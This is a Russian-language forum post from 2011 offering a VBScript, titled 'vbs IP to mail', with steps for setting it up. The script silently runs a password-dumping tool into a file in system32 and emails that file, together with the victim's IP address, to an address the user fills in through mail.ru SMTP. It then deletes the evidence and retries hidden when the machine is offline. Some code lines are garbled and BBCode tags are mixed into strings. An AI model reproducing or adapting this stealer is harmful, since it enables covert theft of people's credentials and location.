vbs IP to mail

zloi_volk — Thu, 10 Mar 2011 07:37:16 GMT

для работы скрипта
1.Надо создать текстовый документ.
2.Скопировать этот код и вставить в текстовый документ.
===================

Code

Set WshShell = CreateObject("WScript.Shell")
Set objFso = CreateObject("Scripting.FileSystemObject")
Return = WshShell.Run("ping www.ru ", 0, true)
If Return=0 then
On Error Resume Next
WshShell.Run "x.exe /stext C:\WINDOWS\system32\pass.txt", 0, false
WScript.Sleep (5000)
Call SendPost("[color=blue]smtp.mail.ru[/color]","[color=red]ВПИСАТЬ МЫЛО НА КОТОРОЕ ПРИДЁТ IP[/color]","ip-log.prim@mail.ru","О владыко пришло письмо с ip :)","script Set as zloivolk")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="[color=red]ВПИСАТЬ МЫЛО (левое) С КОТОРОГО ПРИДЁТ ПИСЬМО С IP[/color]"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="[color=green]ПАРОЛЬ ОТ МЫЛА[/color]"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="[color=blue]smtp.mail.ru[/color]"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubje ct
i Ms g.Text Body=strBody
On Error Resume Next
iMsg.AddAttachment "http://www.testip.ru/index.txt"
On Error Resume Next
iMsg.AddAttachment "C:\WINDOWS\system32\pass.txt"
On Error Resume Next
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing
On Error Resume Next
objFso.DeleteFile "c:\windows\system32\pass.txt", True
Else
WScript.Sleep (180000)
WshShell.Run "3_IP-mail.vbs", 0, false
End If

Всё про всё и ничего лишнего!

vbs IP to mail